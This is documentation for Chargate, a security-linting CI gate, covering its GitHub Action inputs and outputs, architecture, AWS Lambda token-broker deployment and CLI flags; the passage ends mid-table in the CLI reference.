# Chargate Every documentation page, concatenated. Canonical site: https://docs.magmamoose.com/chargate/ --- # Action reference Source: docs/action-reference.md URL: https://docs.magmamoose.com/chargate/action-reference/ Every input and output of the `magmamoose/chargate` composite action, read from `action.yml`. For the task-shaped version with worked examples, see [Setup and usage](setup.md). For the CLI these inputs drive, see the [CLI reference](cli.md). ## Inputs All inputs are optional. A blank default means the action leaves the value unset and the CLI's own default applies. | Input | Default | Description | | --- | --- | --- | | `checkout` | `true` | Run actions/checkout first. Net-new gating needs full history (fetch-depth 0). | | `fetch_depth` | `0` | Checkout fetch-depth. MUST be 0 for net-new gating (merge-base). | | `mode` | `auto` | auto \| pr (net-new gate) \| baseline (full scan, no gate). | | `fail_on` | `any` | Severity that blocks: any \| critical \| high \| medium \| low \| none. | | `precision` | `line` | Net-new precision: line \| file. | | `base_ref` | (none) | Override the base ref/SHA (default: PR base SHA from the event). | | `head_ref` | (none) | Override the head ref/SHA (default: PR head SHA, else github.sha). | | `strict` | `false` | Fail the job if MegaLinter itself errors (a tool error, not a finding). A SARIF with no runs fails regardless. | | `flavor` | `security` | MegaLinter flavor: security (default) \| all (full lint image) \| python \| go \| ... | | `megalinter_registry` | (none) | Registry host for the MegaLinter images. Default ghcr.io, MegaLinter froze Docker Hub publishing at v9.4.0, so docker.io cannot serve v9.5.0+ at all. Point this at a mirror or pull-through cache if you have one. If it cannot serve an image, Chargate warns and pulls from ghcr.io instead; set `CHARGATE_MEGALINTER_REGISTRY_FALLBACK=false` in the job env to fail instead. | | `megalinter_namespace` | (none) | Image namespace under the registry. Default oxsecurity. | | `megalinter_image` | (none) | Full image reference, overriding registry + namespace + flavor + tag entirely. Use it for a MegaLinter custom flavor (e.g. ghcr.io/you/repo/megalinter-custom-flavor:v10.0.0, the supported way to get a single-image arm64 build) or an internal mirror. When set, Chargate never composes an image name. | | `megalinter_tag` | (none) | MegaLinter image tag, or a `sha256:...` digest to pin. Default v10.0.0 (the immutable release tag, not the floating `v10` alias). | | `docker_platform` | (none) | Value for `docker run --platform`. Only needed to force emulation, e.g. linux/amd64 on an arm64 runner that has qemu-user-static + binfmt installed. Setting it also tells Chargate you have taken responsibility for the architecture, so it stops substituting the per-linter images. | | `arch_strategy` | `auto` | How to run MegaLinter when the Docker daemon is not linux/amd64. auto (default): the flavor image on amd64, MegaLinter's per-linter `megalinter-only-*` images (multi-arch from v10.0.0) on arm64. flavor: always the flavor image, fails fast with an actionable error on arm64 instead of `exec format error`. standalone: always per-linter images. fail: refuse to run rather than degrade. | | `standalone_linters` | (none) | Comma-separated MegaLinter linter keys to run in standalone mode. Default: the SARIF-emitting linters of the selected flavor. | | `jobs` | (none) | Standalone mode only: how many per-linter containers to run concurrently (CLI default 4). Standalone is what arm64 uses, and 4 concurrent MegaLinter containers is a lot for a small self-hosted node — on a 2-OCPU / 4Gi runner that is the difference between a scan and a scheduling fight. Lower it to 1-2 there. Ignored in flavor mode, which is a single container. | | `enable_linters` | (none) | Comma-separated MegaLinter linter keys to enable (others off). | | `disable_linters` | (none) | Comma-separated MegaLinter linter keys to disable. | | `incremental` | `true` | PR events only: ask MegaLinter to analyze just the files the PR changes (VALIDATE_ALL_CODEBASE=false) instead of the whole repo, faster on large repos. Repository-level scanners may still read the whole repo or history. The net-new gate still uses Chargate's own diff. Baseline (push) scans are always whole-repo. Default on. | | `ignore_sops_encrypted` | `true` | Ignore secret-scanner hits on SOPS-encrypted values (ENC[AES256_GCM,...]), they are already encrypted and are 100% false positives. A plaintext secret in the same file still gates. Set to false to gate on them anyway. Default on. | | `emit_sarif_artifact` | `true` | Upload the full SARIF as a build artifact. | | `sarif_artifact_name` | `chargate-sarif` | Artifact name for the full SARIF. | | `upload_github_sarif` | `true` | Upload the full SARIF to the GitHub Security tab (needs GHAS on private repos). | | `github_token` | (none) | Token for the GitHub Security-tab SARIF upload + PR comments. Needs pull-requests: write on the consumer workflow for comments. | | `pr_comment` | `true` | Post GHAS-style PR comments for net-new findings (PR events only). Needs pull-requests: write. | | `pr_comment_mode` | `both` | What to post: summary (one updatable comment) \| inline (per-line) \| both. | | `pr_comment_max_inline` | `50` | Cap on inline comments per run; the rest are listed in the summary. | | `pr_comment_token` | (none) | Explicit override token used ONLY to author the PR comments (BYO GitHub App via actions/create-github-app-token). Usually unset: with id-token: write the token broker provides a Chargate[bot] token automatically. | | `token_broker_url` | `https://broker-chargate.magmamoose.com` | Chargate token-broker base URL. With job permission id-token: write and the Chargate App installed, comments are authored by Chargate[bot]. Set empty to disable (fall back to github-actions[bot]). | | `oidc_audience` | `chargate` | OIDC audience requested for the token-broker exchange (advanced). | | `defectdojo_url` | (none) | DefectDojo base URL. Set to enable import of the FULL SARIF. | | `defectdojo_token` | (none) | DefectDojo API token (pass a secret). Used only if defectdojo_url is set. | | `defectdojo_product` | `github.event.repository.name` | DefectDojo product name (auto-created if missing). | | `defectdojo_product_type` | `Research and Development` | DefectDojo product type name (used to auto-create a new product). | | `defectdojo_engagement` | `ci` | DefectDojo engagement name (auto-created if missing). | | `defectdojo_close_old` | `true` | Close findings no longer present on reimport. | | `dependency_track_url` | (none) | Dependency-Track base URL. Set to enable the CycloneDX BOM upload (pass a Variable). | | `dependency_track_api_key` | (none) | Dependency-Track API key (pass a Secret). Needs BOM_UPLOAD (+ PROJECT_CREATION_UPLOAD for auto-create, + VIEW_PORTFOLIO for the PR-comment project link). | | `dependency_track_project_name` | `github.repository` | Dependency-Track project name (auto-created if missing). | | `dependency_track_project_version` | `github.ref_name` | Dependency-Track project version. | | `dependency_track_auto_create` | `true` | Auto-create the project/version on first upload. | | `dependency_track_project_tags` | (none) | Extra Dependency-Track project tags, comma-separated. `repo:` is always added: a repo has both a source project and Diatreme's assembled-image project, and a repo building several images produces project names that cannot be mapped back to it. Anything grouping a repo's projects needs that join key. | | `sbom_only` | `false` | Ship the CycloneDX BOM to Dependency-Track and do nothing else: no MegaLinter, no SARIF, no gate. For consumers whose gate runs on `pull_request` only, which never reaches the BOM upload inside the gate. Push/tag events only. A misconfigured sink fails the job; a Dependency-Track outage only warns unless `strict` is also set. | | `setup_python` | `true` | Run actions/setup-python. Set false on a runner that already has a suitable Python 3.11+, setup-python only publishes linux/arm64 builds for the Ubuntu 22.04/24.04/26.04 images, so on any other arm64 self-hosted/ARC image it fails with "version not found". Chargate itself is stdlib-only pure Python and runs anywhere. | | `python_version` | `3.12` | Python version used to run the chargate CLI. | One `flavor` value is not a MegaLinter flavor: `quality` is a five-linter set Chargate curates itself and runs as per-linter images on every architecture. See [The `quality` flavor](setup.md#the-quality-flavor). ## Outputs | Output | Description | | --- | --- | | `mode` | Resolved run mode (pr \| baseline). | | `gate_result` | pass \| fail. | | `net_new_count` | Number of net-new (PR-introduced) findings. | | `total_count` | Total findings in the full SARIF (net-new + pre-existing). | | `sarif_path` | Path to the full (unfiltered) SARIF report. | | `filtered_sarif_path` | Path to the net-new-only SARIF (`chargate-reports/net-new.sarif`). Written on every run, baseline included, where the net-new set is empty by construction. | | `counts_path` | Path to the counts JSON (`chargate-reports/counts.json`), the versioned document a downstream gate reads. Written on every run. See [Consuming the output](consuming-output.md). | | `scan_mode` | How MegaLinter actually ran: flavor (the flavor image) \| standalone (per-linter megalinter-only-* images, the arm64 path) \| provided (an existing SARIF was passed in). Assert on this to fail a release job that would otherwise ship on a reduced scan. | | `linters_skipped` | Linters standalone mode could not run, with the reason for each (empty otherwise). | Read them with `steps..outputs.`: ```yaml - uses: magmamoose/chargate@v2 id: gate - if: steps.gate.outputs.scan_mode != 'flavor' run: | echo "reduced scan: ${{ steps.gate.outputs.linters_skipped }}" exit 1 ``` That example is the reason `scan_mode` exists: on arm64 the action falls back to per-linter images, and a release job can refuse to ship on a reduced scan. --- # Architecture Source: docs/architecture.md URL: https://docs.magmamoose.com/chargate/architecture/ Chargate is one `chargate` Python CLI (`src/chargate/cli.py:main`) behind two GitHub surfaces (a composite action and a pre-commit hook). The design splits cleanly into a **pure core** and a thin set of **side-effecting edges**. ## Module map ```text src/chargate/ cli.py # argparse dispatch: filter-sarif | ci | sbom | local | install-hooks | uninstall-hooks | version sarif/ # ★ THE PURE CORE — deterministic, no I/O, heavily tested diff.py # unified-diff text -> DiffIndex (changed files + added line ranges) model.py # defensive SARIF result accessors (uri, startLine, level, severity) filter.py # net-new classification + FilterPolicy + filter_sarif() counts.py # totals + per-severity breakdowns; owns COUNTS_SCHEMA_VERSION sops.py # detect SOPS-encrypted values so secret scanners don't gate on them dedup.py # collapse the same finding when several linters report it git.py # the ONLY git/subprocess boundary (merge-base, diff, shallow detect) gate.py # net-new verdicts + fail_on threshold -> pass/fail + exit code megalinter.py # build env/command, run, locate the merged SARIF defectdojo.py # SARIF import/reimport client (urllib, failure-isolated, never raises) dependencytrack.py # CycloneDX BOM upload client (urllib, failure-isolated, never raises) github_comment.py # GHAS-style PR comment client (urllib, failure-isolated, never raises) install_hooks.py # global git-hook installer (backs install-hooks / uninstall-hooks) modes.py # PR (gate) vs baseline (no gate) resolution report.py # GitHub job summary + PR comment bodies + step outputs local.py # pre-commit fast staged-file runner ``` A structured, machine-readable version (exports, dependencies, call graph, hotspots) lives at [`PROJECT_INDEX.json`](https://github.com/MagmaMoose/chargate/blob/main/PROJECT_INDEX.json) in the repo root. Separate from the CLI, the **token broker** (`broker/`) is its own deployable. See [The token broker](#the-token-broker) below. ## The design rule `sarif/` is **pure**: it takes already-parsed data (a SARIF dict + a `DiffIndex`) and returns verdicts. `git.py` is the only thing that shells out, so the filter is unit-tested with synthetic diff text and SARIF dicts, with no real repository required. !!! warning "Keep the boundary" Do **not** import `subprocess`, `os`, network code, or GitHub Actions into `sarif/`. That separation is what makes the crown-jewel filter trivially testable and deterministic. ## Data flow (PR / gate mode) 1. **`modes.resolve_mode`** decides PR (gate) vs baseline (no gate) from `GITHUB_EVENT_NAME` or an explicit flag. 2. **`megalinter.run`** runs MegaLinter whole-repo with `DISABLE_ERRORS=true` (so MegaLinter never sets the exit code) and locates the merged SARIF. When the images come from a mirror, `RegistryFallback` pulls them first and falls back to `ghcr.io` if the mirror cannot serve them. 3. **`git.compute_changed_lines`** resolves `merge-base(base, head)`, runs `git diff --unified=0`, and hands the text to `sarif.diff.parse_unified_diff` → a `DiffIndex`. 4. **`sarif.filter.filter_sarif`** classifies every result as net-new or pre-existing under a `FilterPolicy`, returning a pruned deep copy (net-new only), per-result verdicts, and `Counts`. The input SARIF is never mutated. 5. **`gate.decide_gate`** applies the `fail_on` threshold to the net-new set → a `GateDecision` and exit code. 6. **`defectdojo.import_sarif`** and **`dependencytrack.upload_bom`** (both optional, each active iff its host/URL is set) ship the **full** SARIF and a CycloneDX BOM respectively. Both are failure-isolated: they never raise, so a sink outage can't fail the gate. 7. **`github_comment.post_pr_feedback`** (PR events, opt-out) posts the net-new findings as one updatable summary comment + inline review comments. Also failure-isolated: a GitHub API error never changes the gate outcome. 8. **`report`** writes the GitHub job summary and step outputs. Baseline mode skips steps 3-5's gating: it counts everything against an empty `DiffIndex` with `fail_on=none`, ships the full SARIF, and never blocks. ## Exit-code contract | Code | Meaning | | --- | --- | | `0` | pass | | `1` | blocking net-new finding(s) | | `2` | setup / tool / usage error | A *broken* scanner is a tool error (`2`), never a finding. A MegaLinter tool failure only fails the job under `--strict`. One condition is fatal **without** `--strict`: a SARIF carrying no `runs` at all. That is not a linter misbehaving, it is the gate having scanned nothing, so a pass carries no information. Since `strict` defaults to off, routing it through `strict` would leave a repo green on an empty report indefinitely. That is precisely how the relative-`REPORT_OUTPUT_FOLDER` bug survived for months. The output documents are written **before** that decision. `cmd_ci` writes `--filtered-out` and `--counts-json` as soon as the filter has run, then reaches the runs-less check and exits `2`, so a run that scanned nothing still leaves a well-formed counts file of zeros behind. The documents describe whatever was classified, which is the right contract — but it means a downstream consumer must read the exit code, not the file's existence. See [Consuming the output](consuming-output.md). ## The token broker To author PR comments as `Chargate[bot]` rather than `github-actions[bot]`, the action exchanges the run's GitHub Actions **OIDC token** for a short-lived Chargate App installation token. That exchange is done by [`broker/`](https://github.com/MagmaMoose/chargate/tree/main/broker), a *separate deployable* that is not part of the CLI wheel. It keeps its pyjwt and httpx dependencies in its own `broker/pyproject.toml` and virtualenv, so the CLI stays runtime-dependency-free. `app/broker.py` holds the decisions with no HTTP framework attached. `app/lambda_handler.py` is what production runs. `app/main.py` is a FastAPI shell for local development and the test suite, and the build excludes it from the deployed zip by name. `POST /token` verifies the OIDC token (issuer-pinned, audience `chargate`, and the `repository` claim **must** equal the requested `owner/repo`) and mints a token scoped to that repo with `pull_requests: write` only. The whole flow is **fail-soft**: without `id-token: write`, or if the App isn't installed, the action silently falls back to `github-actions[bot]`. That also means a broken broker is **silent**, so treat "nothing failed" as no evidence at all. The service ships as a version-scoped zip in S3 and runs as an AWS Lambda behind an API Gateway HTTP API; the Terraform module and leaf live in [magmamoose/infra](https://github.com/magmamoose/infra) under `terraform/aws/chargate/`, and deploying is a reviewed one-line bump of `broker_artifact_version` there. Operating it (the GitHub App, its private key in SSM Parameter Store, and installing the App on consumer orgs) is the operator's responsibility; see [Token broker deployment](broker-deployment.md). Also see [PR comments → *Comment as `Chargate[bot]`*](setup.md#pr-comments-ghas-style) for the consumer-side setup. ## Testing Tests mirror modules 1:1 under `tests/` (e.g. `test_sarif_filter.py`, `test_gate.py`, `test_git.py`); the broker has its own tests under `broker/tests`. The pure core is tested with synthetic inputs; the subprocess and HTTP boundaries inject their runner/opener so they are exercised without Docker, git, or a live DefectDojo / Dependency-Track. --- # Token broker deployment Source: docs/broker-deployment.md URL: https://docs.magmamoose.com/chargate/broker-deployment/ The broker exchanges a consumer's GitHub Actions OIDC token for a short-lived, repo-scoped `Chargate[bot]` installation token, so Chargate's PR comments carry that byline instead of `github-actions[bot]`. It runs as an **AWS Lambda behind an API Gateway HTTP API**, in Chargate's own AWS account. The Terraform lives in [magmamoose/infra](https://github.com/magmamoose/infra) under `terraform/aws/chargate/`; this repository owns the code that runs on it and the contract for packaging it. ```text consumer repo's workflow any pinned chargate tag scripts/request-app-token.sh POST {oidcToken, owner, repo, ref, runId, sha} │ ▼ broker-chargate.magmamoose.com Cloudflare DNS, PROXIED (orange cloud) chargate.magmamoose.com also served — the legacy name pinned consumers still call │ CNAME → the API Gateway custom-domain target ▼ API Gateway HTTP API $default route + stage · throttle 2 rps / burst 10 │ execute-api endpoint disabled: the custom domain is the only door ▼ chargate-broker (Lambda) python3.12 · x86_64 · app.lambda_handler.handler │ code: s3:///broker/.zip ├── SSM Parameter Store /chargate/prod/{app-id,private-key} (SecureString) └── api.github.com App JWT → installation → scoped token ``` !!! warning "`GET /healthz` proves nothing" It returns 200 on a Lambda with no SSM parameters, no permission to read them, and no GitHub App installed. It deliberately answers before configuration is consulted, which is what makes "deploy, then seed the secrets" work. Because `scripts/request-app-token.sh` fails soft (empty token, `exit 0`), a broken broker produces **no red check anywhere**, just comments quietly reverting to `github-actions[bot]`. Verify with a real signed `POST`: `.github/workflows/broker-smoke.yml`. ## The package contract `broker/scripts/build_lambda_zip.py` is the one definition of what ships. It is run by CI (so a bad dependency bump fails the pull request) and by the release workflow (which publishes the artifact). A local build and a released artifact produced by different means is a difference nobody discovers until production behaves unlike the test. ```bash cd broker uv run python scripts/build_lambda_zip.py \ --out ../dist/chargate-broker.zip --platform x86_64-manylinux_2_28 ``` **What ships:** `app/` minus `main.py`, plus the resolved wheels for `pyjwt[crypto]` and `httpx`. ~5.3 MB. - `app/main.py` is **excluded by name**. It is the only module importing FastAPI, which is not in the shipped dependency set; including it turns a clean deploy into a cold-start `ImportError` on the fail-soft path above. - `boto3`/`botocore` are never bundled: the runtime supplies them. - `--platform` is **required and has no default**, because `cryptography` ships compiled wheels and a build on a developer's Mac would otherwise deploy and then fail to import. **The build is deterministic** (fixed timestamps, fixed modes, sorted order, resolution pinned by `broker/uv.lock`). The release workflow decides whether to publish by comparing against the previous release tag; a non-reproducible build would mean every chargate release opened an infra bump PR redeploying byte-identical code until nobody read them. `broker/tests/test_lambda_package.py` defends all of this. It unzips the artifact into an empty directory and importing it in a subprocess with a scrubbed path and poisoned `sys.modules`, so a module that grows an import of something unshipped goes red here rather than at the first real request. ## Publishing and deploying are different acts **Publishing** is `.github/workflows/publish-broker.yml`, triggered by the release tag. It builds the zip, gates on whether anything shipped actually changed since the previous tag, and uploads it with `s3api put-object`, refusing to overwrite an existing key. It is deliberately NOT in `release.yml`, which caldrith provisions centrally and overwrites in place. Auth is GitHub OIDC, no AWS credential is stored in this repository. Two repo **variables** turn it on; unset, diatreme skips the step and nothing changes: | Variable | Value | |---|---| | `BROKER_ARTIFACT_BUCKET` | `terragrunt output artifact_bucket` from infra's `chargate-artifacts` leaf | | `BROKER_PUBLISH_ROLE_ARN` | `terragrunt output publish_role_arn` from the same leaf | The key is `broker/.zip` and **diatreme refuses to overwrite one that exists**: infra pins that key, so replacing its bytes would swap the running code under a version somebody already reviewed. **Deploying** is a reviewed one-line bump of `broker_artifact_version` in infra's `chargate-broker` leaf. The release job writes the exact line to its step summary. ## Configuration The broker reads its configuration per request, so a Lambda whose parameters are seeded after the first deploy recovers without a redeploy. | Variable | Type | Required | Default | Effect | | --- | --- | --- | --- | --- | | `APP_ID` | string | yes | (none) | The Chargate GitHub App's numeric ID. Signs the App JWT. | | `PRIVATE_KEY` | string, secret | yes | (none) | The App's RSA private key, PEM. A `\n`-escaped PEM is un-escaped on load, so a secret store that escapes newlines works as-is. | | `SECRET_PATH` | string | no | (unset) | SSM Parameter Store path holding the two values above, for example `/chargate/prod`. Unset means read everything from the environment and never import boto3, which is the local and CI path. | | `OIDC_AUDIENCE` | string | no | `chargate` | The `aud` the caller's token must carry. Must match what the consumer's workflow requests. | | `ALLOWED_REPOSITORIES` | string | no | `""` | Comma-separated `owner/repo` allowlist. Empty means any repository the App is installed on, which is what is deployed. | | `GITHUB_API_URL` | string | no | `https://api.github.com` | API base. Point it at a GitHub Enterprise host to mint there. | | `TOKEN_PERMISSIONS_JSON` | JSON object | no | `{"pull_requests": "write"}` | Permissions granted to the minted token. Least privilege: comments only. | | `CHARGATE_LOG_LEVEL` | string | no | `INFO` | Level for the `chargate.broker` logger. An unrecognised value falls back to `INFO` rather than failing at import. | **Precedence: SSM wins over the environment.** Values are read from the process environment first, then the SSM overlay is applied on top. That is what keeps the two secrets out of the function's own configuration. !!! note "Why the level is set explicitly" The Lambda runtime pins the root logger to `WARNING`. Without `CHARGATE_LOG_LEVEL` the per-request outcome lines, the only observability this service has, are dropped. ## Secrets Seeded **by hand**, never by Terraform: a secret in a Terraform resource is a secret in Terraform state, and magmamoose/infra is public. They are not Lambda environment variables either, where anything holding `lambda:GetFunctionConfiguration` could read them. ```bash aws ssm put-parameter --region eu-west-1 --profile mm-prd-chargate \ --name /chargate/prod/app-id --type String --value "$APP_ID" --overwrite aws ssm put-parameter --region eu-west-1 --profile mm-prd-chargate \ --name /chargate/prod/private-key --type SecureString \ --value "file://chargate-app.private-key.pem" --overwrite rm chargate-app.private-key.pem ``` No `--key-id`, so the AWS-managed `aws/ssm` key is used, which carries no monthly charge. Standard-tier parameters are free for both storage and reads. Verify: ```bash aws ssm get-parameters-by-path --path /chargate/prod --recursive --with-decryption \ --region eu-west-1 --profile mm-prd-chargate ``` Parameter basenames map to config fields with `-` → `_`, so `private-key` lands on `BrokerConfig.private_key`. ## Going live Steps marked **H** need a human with credentials or a console. 1. **H** Confirm the Chargate GitHub App exists, note its **App ID**, confirm it is installed on every repo that should get `Chargate[bot]` comments, and download the private key. Its absence is invisible, a 404 becomes `app_not_installed`, the client fails soft, silence. 2. Merge infra **#638** (it is what creates `terraform/aws/` at all), then the chargate infra PR. 3. **H** Apply the `chargate-artifacts` leaf. Set `BROKER_ARTIFACT_BUCKET` and `BROKER_PUBLISH_ROLE_ARN` as repo variables from its outputs. 4. **H** Seed the two SSM parameters (above). 5. Merge this repo's release changes to `main`; confirm `broker/.zip` exists in the bucket. **This is the cold start**, the front door cannot be applied against a key that does not exist. 6. **H** Apply `chargate-broker` **phase 1**: `enable_custom_domain = false`. This requests the regional ACM certificate and prints the validation record. Nothing resolves yet. 7. Add the ACM validation CNAME to the Cloudflare leaf (grey cloud, a proxied record answers with Cloudflare's own value and the certificate never leaves `PENDING_VALIDATION`). Apply, wait for `ISSUED`. 8. **H** Apply **phase 2**: `enable_custom_domain = true`, `disable_default_endpoint = true`. Applying phase 2 before the certificate is issued fails with a `BadRequestException`. 9. Add the `broker-chargate.magmamoose.com` CNAME → the custom-domain target, **`proxied = true`** (orange cloud). The hostname resolves for the first time. !!! warning "Proxying needs the zone on Full (strict), and fails opaquely without it" Proxied, every request returned Cloudflare **521** while AWS saw nothing — API Gateway's `Count` metric had no datapoints and a unique probe path never reached the Lambda. The origin was healthy throughout (TCP/443 on every IP, correct certificate for both plausible SNIs, no AAAA records so not the IPv6 trap), and port 80 was refused on every origin IP — the port a *Flexible* origin fetch dials. Setting the zone's SSL/TLS mode to **Full (strict)** is what fixed it. !!! danger "Serve the OLD hostname too, or no consumer gets the byline" `token_broker_url` is an action input with a **default**, so the old hostname is frozen into every tag released before a rename — and consumers pin chargate by SHA through a centrally-provisioned workflow, so they cannot all move at once. The module takes `additional_domain_names` for exactly this; each entry gets its own certificate, domain and mapping, all free. Remove the entry once nothing references the old name. 10. **H** Run `broker-smoke.yml` and confirm a real token is minted and accepted by GitHub. Then open a throwaway PR in a consumer repo and check the comment byline. 11. **H** Confirm the SNS subscription email, until clicked it delivers nothing, which Terraform reports as "created" either way. 12. **H** Authorise the Slack workspace in the AWS Chatbot console for **this** account. Chatbot's workspace authorisation is per-account and cannot be done by Terraform; nievah's account being authorised does nothing for chargate's. **Rollback** before step 9 is "do nothing", nobody is using it. After step 9: delete the CNAME or set `enable_custom_domain = false`; consumers return to `github-actions[bot]`, which is exactly the behaviour they have today. ## Cost Roughly **under a cent a month**. Everything is inside a permanent Always-Free allowance except API Gateway requests and S3 storage. Note that Always-Free allowances are **pooled across the AWS organization**, not granted per account, AWS applies the free tier to total usage across all member accounts. And because free-tier eligibility dates from the *management* account's creation, the 12-month offers (including API Gateway's 1M calls) have already expired for this account, so gateway requests are billed from the first one at $1.00/million. The controls that actually bound a bad day, in order of how fast they act: 1. **The 2 rps stage throttle**, instantaneous, at the gateway. Deterministically caps Lambda invocations, compute, logs and egress at any load. 2. **`disable_execute_api_endpoint`**, the custom domain is the only door. 3. **The Cloudflare proxy**, abusive volume is absorbed at Cloudflare's free edge and never becomes an AWS line item. This is what makes the undocumented 429-billing question moot for traffic that arrives via the hostname. 4. **The account-level API Gateway throttle.** Default 10,000 rps; lowering it to 50 is a support case (magmamoose/infra#642) and is what bounds the one genuinely unresolved question, whether API Gateway bills requests it rejects with its own 429. AWS does not document this. 5. **CloudWatch alarms and an AWS Budget**, receipts, not controls. Budgets refresh at most three times a day and cannot stop spend. --- # CLI reference Source: docs/cli.md URL: https://docs.magmamoose.com/chargate/cli/ Both GitHub surfaces drive the same `chargate` CLI. Exit codes: `0` pass · `1` blocking net-new findings · `2` setup/usage error. ```sh chargate [options] ``` ## `chargate filter-sarif` The pure net-new filter: a SARIF report + a base/head → filtered SARIF + counts + a gate exit code. Decoupled from GitHub Actions and unit-tested in isolation. This subcommand and the counts JSON it writes are a **stable public interface** for other tools: the counts document carries a `schema_version`, and a consumer must hard-fail on a version it does not recognise rather than gate on a document it cannot read. Key-by-key contract, invariants, and the exit codes a consumer must distinguish: [Consuming the output](consuming-output.md). ```sh chargate filter-sarif --sarif report.sarif --base "$BASE" --head "$HEAD" \ --out net-new.sarif --counts-json counts.json --fail-on any ``` | Flag | Default | Purpose | | --- | --- | --- | | `--sarif` | (required) | Path to the full SARIF report. | | `--base` | (required) | Base ref/SHA (PR target). | | `--head` | `HEAD` | Head ref/SHA. | | `--repo` | `.` | Path to the git repository. | | `--precision` | `line` | Net-new precision: `line` or `file`. | | `--no-location-policy` | `ignore` | Treatment of results with no file location: `ignore` (never block) or `block`. | | `--no-region-fallback` | off | Disable file-level fallback for changed-file results lacking a `startLine`. | | `--no-sops-ignore` | off | Gate on secret-scanner hits even on SOPS-encrypted values (`ENC[AES256_GCM,...]`). By default these are dropped as false positives, see [Net-new gating](net-new.md#sops-encrypted-secrets). | | `--strip-prefix` | (none) | Path prefix to strip from SARIF URIs before matching (repeatable). | | `--no-merge-base` | off | Diff `base..head` directly instead of `merge-base(base, head)..head`. | | `--out` / `--full-out` / `--counts-json` | (none) | Write the net-new SARIF / a copy of the full SARIF / counts JSON. | | `--fail-on` | `any` | Severity threshold that blocks: `any\|critical\|high\|medium\|low\|none`. | | `--no-gate` | off | Always exit `0` (report only). | | `--quiet` | off | Suppress the human summary. | ## `chargate ci` The full CI flow: run MegaLinter, preserve the full SARIF, gate on net-new (PR events only), and optionally ship to the sinks (DefectDojo / Dependency-Track). Each sink is active iff its host/URL flag is set. ```sh chargate ci --mode auto --flavor all --sarif-out full.sarif ``` Every image-selection flag also reads a `CHARGATE_*` env var when the flag is omitted (`CHARGATE_MEGALINTER_REGISTRY`, `CHARGATE_MEGALINTER_REGISTRY_FALLBACK`, `CHARGATE_MEGALINTER_PULL_TIMEOUT`, `CHARGATE_MEGALINTER_NAMESPACE`, `CHARGATE_MEGALINTER_IMAGE`, `CHARGATE_MEGALINTER_TAG`, `CHARGATE_DOCKER_PLATFORM`, `CHARGATE_ARCH_STRATEGY`, `CHARGATE_JOBS`), so a self-hosted runner fleet can point every repo at an internal mirror without editing any workflow. Explicit flag beats env var beats built-in default. **A mirror that fails falls back to `ghcr.io`.** When the registry is anything other than `ghcr.io` (a mirror or pull-through cache), Chargate pulls each image itself before `docker run` and gives the registry `--megalinter-pull-timeout` seconds (default `300`). If that pull fails for any reason (unreachable, timed out, manifest unknown, auth error), it logs one `::warning::` and pulls the same image from `ghcr.io/oxsecurity` instead, so a cache outage costs a slower pull rather than every job on the runner pool. After the first failure the rest of the run skips the mirror. An image already on the Docker daemon is used as-is, and `--megalinter-image` is never rewritten. If `ghcr.io` fails too, the error names both failures and the run exits `2` (in standalone mode only that linter is lost, as when its container dies). Set `CHARGATE_MEGALINTER_REGISTRY_FALLBACK=false` on runners that must never pull from the public registry: Chargate then skips its own pull and fails at `docker run`, as it did before the fallback existed. Any value other than `true` or `false` exits `2` rather than guessing. Key flags beyond the shared filter options: | Flag | Default | Purpose | | --- | --- | --- | | `--mode` | `auto` | `auto` (from `GITHUB_EVENT_NAME`), `pr` (net-new gate), or `baseline` (no gate). | | `--sarif` | (none) | Use an existing SARIF instead of running MegaLinter. | | `--flavor` | `all` | MegaLinter flavor (`all` = full image), or `quality` — a five-linter set chargate curates, with no upstream image, so it always runs standalone. See [The `quality` flavor](setup.md#the-quality-flavor). | | `--megalinter-tag` | `v10.0.0` | MegaLinter image tag, or a `sha256:…` digest to pin. | | `--megalinter-registry` | `ghcr.io` | Registry host. Docker Hub is frozen at `v9.4.0`, so it cannot serve `v9.5.0+`. | | `--megalinter-registry-fallback` | `true` | `true\|false`. When the registry is not `ghcr.io` and cannot serve an image, pull it from `ghcr.io` instead. `false` fails at the pull. | | `--megalinter-pull-timeout` | `300` | Seconds a non-`ghcr.io` registry gets to deliver an image before the fallback. | | `--megalinter-namespace` | `oxsecurity` | Image namespace (set for a mirror / pull-through cache). | | `--megalinter-image` | (none) | Full image reference, overriding registry/namespace/flavor/tag entirely. | | `--docker-platform` | (none) | Value for `docker run --platform` (e.g. `linux/amd64` to force emulation). | | `--arch-strategy` | `auto` | `auto` (flavor image on amd64, per-linter images on arm64) · `flavor` · `standalone` · `fail`. | | `--standalone-linter` | (none) | Linter key for standalone mode (repeatable). Default: the flavor's SARIF-emitting set. | | `--jobs` | `4` | Standalone mode: concurrent linter containers. | | `--enable-linter` / `--disable-linter` | (none) | Toggle a linter (repeatable). | | `--incremental` | off | PR/gate mode only. Runs MegaLinter over just the files changed vs the base (`VALIDATE_ALL_CODEBASE=false`) instead of the whole repo. The net-new gate still uses chargate's own diff, so this changes scan cost, not the verdict. | | `--default-branch` | `""` | Base branch for incremental change detection. Sets MegaLinter's `DEFAULT_BRANCH`. | | `--sarif-out` / `--filtered-out` / `--counts-json` | (none) | Write the full / net-new / counts outputs. The action always passes all three; the last two are the [documented consumer interface](consuming-output.md). | | `--strict` | off | Fail the job if MegaLinter itself errors. (A SARIF with no runs fails without it, see [architecture](architecture.md).) | | `--defectdojo-url` | (none) | DefectDojo base URL (enables import of the full SARIF). | | `--defectdojo-token-env` | `DEFECTDOJO_TOKEN` | Env var holding the DD API token. | | `--dd-product` / `--dd-engagement` / `--dd-engagement-id` | (none) | DefectDojo targeting. | | `--dd-product-type` | (none) | DefectDojo product type name. Required only when the product does not exist yet and has to be auto-created. | | `--dd-test-title` | (none) | Title for the DefectDojo test. | | `--dd-tag` | (none) | Tag to attach to the import. Repeatable. | | `--dd-import` / `--dd-no-close-old` / `--dd-insecure` | off | Use import (not reimport) / keep old findings / skip TLS verify. | | `--dependency-track-url` | (none) | Dependency-Track base URL (enables CycloneDX BOM upload). | | `--dt-api-key-env` | `DEPENDENCYTRACK_API_KEY` | Env var holding the DT API key. | | `--bom` | (none) | Path to the CycloneDX BOM to upload (the action generates this with Syft). | | `--dt-project-name` / `--dt-project-version` / `--dt-project-uuid` | (none) | Dependency-Track project targeting. | | `--dt-parent-name` / `--dt-parent-version` | (none) | Parent project, when you keep Dependency-Track projects in a hierarchy. | | `--dt-no-auto-create` / `--dt-is-latest` / `--dt-insecure` | off | Don't auto-create the project / mark latest / skip TLS verify. | | `--dt-project-tag` | (none) | Dependency-Track project tag, repeatable. A `repo:` tag is the join key for grouping a repo's projects. | | `--pr-comment` | off | Post GHAS-style PR comments for net-new 